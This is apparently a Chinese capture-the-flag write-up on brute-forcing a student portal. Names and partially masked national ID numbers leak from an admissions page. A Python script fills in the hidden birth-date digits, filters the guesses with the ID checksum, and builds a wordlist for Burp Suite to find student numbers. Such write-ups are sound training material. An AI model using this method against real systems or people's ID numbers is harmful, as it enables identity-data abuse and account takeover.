身份信息爆破

身份信息爆破

题目破解

通过看到界面,我们需要知道学生的学号及密码才能登陆

而后我们看到录取信息及学生学籍信息查询系统,点击录取信息,我们可以得知学生的姓名及身份证的一部分信息,有8个数字隐藏

通过点击学生学籍查询系统,我们可以知道只要输入学生的姓名及身份证就可以得到学生的学号

因此通过这个思路,我们可以爆破这8个数字,而且我们还可以通过身份证的验证来排除一些错误的身份证号码,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
card=[]
for i in range(1990,2000):
for j in range(1,13):
for k in range(1,32):
if(int(j)<=9):
month="0"+str(j)
else:
month=str(j)
if(int(k)<=9):
day="0"+str(k)
else:
day=str(k)
a="621022"+str(i)+str(month)+str(day)+"5237"
card.append(a)

def check(c):
list1=[7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]
crc=[1,0,'X',9,8,7,6,5,4,3,2]
ca=list(c)
sum1=0
num=int(len(ca))-1
for i in range(0,num):
sum1=sum1+int(ca[i])*int(list1[i])
sum1=sum1%11
if(str(ca[len(ca)-1])==str(crc[sum1])):
return 1
else:
return 0

if __name__=='__main__':
f=open("result.txt","w")
for i in range(0,len(card)):
if(check(card[i])==1):
d=card[i]+'\n'
f.writelines(d)
f.flush()

通过生成的字典,将其放在burpsuit中跑即可